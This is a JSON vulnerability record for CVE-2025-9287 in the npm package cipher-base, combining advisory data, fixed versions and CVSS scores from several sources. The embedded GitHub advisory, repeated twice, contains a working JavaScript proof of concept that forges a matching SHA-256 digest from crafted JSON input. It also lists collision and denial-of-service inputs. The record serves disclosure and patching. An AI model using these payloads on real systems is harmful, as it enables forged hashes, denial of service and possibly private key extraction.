{"id":"CVE-2025-9287","aliases":["CLSA-2026-1779670116","DEBIAN-CVE-2025-9287","DLA-4291-1","DSA-5986-1","EUVD-2025-25405","GHSA-cpq7-6gpm-g9rc","ROOT-APP-NPM-CVE-2025-9287","UBUNTU-CVE-2025-9287","USN-7746-1","openSUSE-SU-2025:15484-1"],"status":"published","title":"Missing type checks leading to hash rewind and passing on crafted data","description":"Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.","severity":{"version":"4.0","score":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.0055,"percentile":0.46311,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20"],"published":"2025-08-20T21:43:56Z","modified":"2026-10-28T02:30:38Z","fixes":[{"ecosystem":"npm","package":"cipher-base","fixed_in":["1.0.5"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"cipher-base","fixed_in":["1.0.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"node-cipher-base","fixed_in":["1.0.4-6+deb12u1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"node-cipher-base","fixed_in":["1.0.4-6+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-cipher-base","fixed_in":["1.0.6-1"],"sources":["osv"]},{"ecosystem":"Debian:11","package":"node-cipher-base","fixed_in":["1.0.4-4+deb11u1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"cipher-base","fixed_in":["1.0.4-aikido.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/cipher-base","fixed_in":["1.0.4-root.io.1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"node-cipher-base","fixed_in":["1.0.4-1ubuntu0.1~esm2"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-cipher-base","fixed_in":["1.0.4-4ubuntu0.1~esm2"],"sources":["osv"]},{"ecosystem":"Ubuntu:22.04:LTS","package":"node-cipher-base","fixed_in":["1.0.4-6+deb13u1ubuntu0.22.04.1"],"sources":["osv"]},{"ecosystem":"Ubuntu:24.04:LTS","package":"node-cipher-base","fixed_in":["1.0.4-6+deb13u1ubuntu0.24.04.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-bqplot","fixed_in":["0.12.45-12.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.0.4"},{"fixed":"1.0.5"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.4-tuxcare.0"},{"fixed":"1.0.4-tuxcare.1"}]}],"versions":["1.0.4"]},{"source":"osv","ecosystem":"Debian:12","package":"node-cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4-6+deb12u1"}]}],"versions":["1.0.4-6"]},{"source":"osv","ecosystem":"Debian:13","package":"node-cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4-6+deb13u1"}]}],"versions":["1.0.4-6"]},{"source":"osv","ecosystem":"Debian:14","package":"node-cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.6-1"}]}],"versions":["1.0.4-6"]},{"source":"osv","ecosystem":"Debian:11","package":"node-cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4-4+deb11u1"}]}],"versions":["1.0.4-4"]},{"source":"osv","ecosystem":"Debian:12","package":"node-cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4-6+deb12u1"}]}],"versions":["1.0.4-6"]},{"source":"osv","ecosystem":"Debian:13","package":"node-cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4-6+deb13u1"}]}],"versions":["1.0.4-6"]},{"source":"osv","ecosystem":"npm","package":"cipher-base","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.5"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4-root.io.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"node-cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4-1ubuntu0.1~esm2"}]}],"versions":["1.0.4-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4-4ubuntu0.1~esm2"}]}],"versions":["1.0.4-4"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4-6+deb13u1ubuntu0.22.04.1"}]}],"versions":["1.0.4-4","1.0.4-5","1.0.4-6"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4-6+deb13u1ubuntu0.24.04.1"}]}],"versions":["1.0.4-6"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"node-cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4-1ubuntu0.1~esm2"}]}],"versions":["1.0.4-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4-4ubuntu0.1~esm2"}]}],"versions":["1.0.4-4"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4-6+deb13u1ubuntu0.22.04.1"}]}],"versions":["1.0.4-4","1.0.4-5","1.0.4-6"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-cipher-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4-6+deb13u1ubuntu0.24.04.1"}]}],"versions":["1.0.4-6"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-bqplot","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12.45-12.1"}]}]}],"products":[{"vendor":"browserify","product":"cipher-base"}],"references":[{"url":"https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc","tags":["vendor-advisory","exploit","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/browserify/cipher-base/pull/23","tags":["patch","Issue Tracking","Patch","fix","web","report"]},{"url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00005.html","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-9287","tags":["advisory"]},{"url":"https://github.com/browserify/cipher-base/commit/8fd136432ca298a664f5637629cf2b42a6c7f294","tags":["web"]},{"url":"https://github.com/advisories/GHSA-cpq7-6gpm-g9rc"},{"url":"https://npmjs.com/cipher-base","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/9xxx/CVE-2025-9287.json","tags":["advisory"]},{"url":"https://github.com/browserify/cipher-base","tags":["package"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-9287","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2025-9287","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-9287","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-7746-1","tags":["advisory"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2025-9287","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2025-9287","title":"Missing type checks leading to hash rewind and passing on crafted data","description":"Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.","status":"published","published":"2025-08-20T21:43:56.548Z","modified":"2025-11-03T18:14:17.043Z","cvss":[{"version":"4.0","score":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","level":"critical","assessor":"cna"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:32:34.096798Z"}],"euvd":[{"id":"EUVD-2025-25405","description":"Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.","status":"published","published":"2025-08-20T21:43:56Z","modified":"2025-11-03T18:14:17Z","cvss":[{"version":"4.0","score":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","level":"critical"}],"updated_at":"2026-11-02T19:49:34.635725Z"}],"ghsa":[{"id":"GHSA-cpq7-6gpm-g9rc","title":"cipher-base is missing type checks, leading to hash rewind and passing on crafted data","description":"### Summary\n\nThis affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package\nAlso affects `create-hmac` and other packages\n\nNode.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView.\n\nMissing input type checks (in npm `create-hash` polyfill of Node.js `createHash`) can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst createHash = require('create-hash/browser.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) =\u003e {\n  const hash = createHash('sha256')\n  messages.forEach((m) =\u003e hash.update(m))\n  return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9\n9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9\nHashed input means safe\n```\n\nThis works with:\n```js\nconst forgeHash = (valid, wanted) =\u003e JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])\n```\n\nBut there are other types of input which lead to unchecked results\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n    This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like [GHSA-vjh7-7g9h-fjfh](https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh))\n6. Also, other typed arrays results are invalid, e.g. returned hash of `new Uint16Array(5)` is the same as `new Uint8Array(5)`, not `new Uint16Array(10)` as it should have been (and is in Node.js `crypto`) -- same for arrays with values non-zero, their hashes are just truncated to `%256` instead of converted to correct bytelength","status":"published","published":"2025-08-21T14:47:35Z","modified":"2025-11-03T21:34:23Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"},{"version":"4.0","score":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","level":"critical"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:39:04.350802Z"}],"nvd":[{"id":"CVE-2025-9287","description":"Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.","status":"published","published":"2025-08-20T22:15:30.557Z","modified":"2026-06-17T10:08:40.693Z","cvss":[{"version":"4.0","score":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:11:25.261243Z"}],"osv":[{"id":"CVE-2025-9287","title":"Missing type checks leading to hash rewind and passing on crafted data","description":"Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.","status":"published","published":"2025-08-20T21:43:56.548Z","modified":"2026-10-28T02:30:38.332853775Z","cvss":[{"version":"4.0","score":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","level":"critical"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:44:53.490346Z"},{"id":"DEBIAN-CVE-2025-9287","description":"Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.","status":"published","published":"2025-08-20T22:15:30.557Z","modified":"2026-09-01T20:05:59.719552815Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:45:48.440897Z"},{"id":"GHSA-cpq7-6gpm-g9rc","title":"cipher-base is missing type checks, leading to hash rewind and passing on crafted data","description":"### Summary\n\nThis affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package\nAlso affects `create-hmac` and other packages\n\nNode.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView.\n\nMissing input type checks (in npm `create-hash` polyfill of Node.js `createHash`) can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst createHash = require('create-hash/browser.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) =\u003e {\n  const hash = createHash('sha256')\n  messages.forEach((m) =\u003e hash.update(m))\n  return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9\n9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9\nHashed input means safe\n```\n\nThis works with:\n```js\nconst forgeHash = (valid, wanted) =\u003e JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])\n```\n\nBut there are other types of input which lead to unchecked results\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n    This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like [GHSA-vjh7-7g9h-fjfh](https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh))\n6. Also, other typed arrays results are invalid, e.g. returned hash of `new Uint16Array(5)` is the same as `new Uint8Array(5)`, not `new Uint16Array(10)` as it should have been (and is in Node.js `crypto`) -- same for arrays with values non-zero, their hashes are just truncated to `%256` instead of converted to correct bytelength","status":"published","published":"2025-08-21T14:47:35Z","modified":"2026-09-10T03:50:26.901391948Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"},{"version":"4.0","score":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","level":"critical"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:46:45.28161Z"},{"id":"UBUNTU-CVE-2025-9287","description":"Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.","status":"published","published":"2025-08-20T22:15:00Z","modified":"2026-02-04T02:50:14.899366Z","cvss":[{"version":"4.0","score":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","level":"critical"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T16:55:55.926217Z"},{"id":"CLSA-2026-1779670116","title":"TuxCare security update for cipher-base (1 CVE)","description":"TuxCare rebuilt cipher-base to address 1 CVE. Fixed in 1.0.4-tuxcare.1.","status":"published","published":"2026-08-04T14:52:33Z","modified":"2026-10-15T09:48:03.334912455Z","updated_at":"2026-11-02T15:43:45.090939Z"},{"id":"DLA-4291-1","title":"node-cipher-base - security update","status":"published","published":"2025-09-03T00:00:00Z","modified":"2026-03-09T02:10:14.189252Z","updated_at":"2026-11-02T15:46:12.7027Z"},{"id":"DSA-5986-1","title":"node-cipher-base - security update","status":"published","published":"2025-08-26T00:00:00Z","modified":"2026-03-09T02:08:40.253793Z","updated_at":"2026-11-02T15:46:18.296714Z"},{"id":"openSUSE-SU-2025:15484-1","title":"jupyter-bqplot-jupyterlab-0.5.46-12.1 on GA media","description":"These are all security issues fixed in the jupyter-bqplot-jupyterlab-0.5.46-12.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-08-22T00:00:00Z","modified":"2026-03-23T04:53:50.51799Z","updated_at":"2026-11-02T16:58:37.810934Z"},{"id":"ROOT-APP-NPM-CVE-2025-9287","title":"CVE-2025-9287 in cipher-base - Patched by Root","description":"Root has patched CVE-2025-9287 in the cipher-base package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-09-10T05:56:07Z","modified":"2026-09-10T06:15:05.249743941Z","updated_at":"2026-11-02T15:53:27.362922Z"},{"id":"USN-7746-1","title":"node-cipher-base vulnerability","description":"Nikita Skovoroda discovered that cipher-base did not properly manage\ncertain inputs. An attacker could possibly use this issue to manipulate\nthe internal state of hash functions, resulting in hash collisions,\ndenial of service, or other unspecified impact.","status":"published","published":"2025-09-11T15:27:54Z","modified":"2026-02-10T04:49:48Z","updated_at":"2026-11-02T16:58:21.91885Z"}]}}
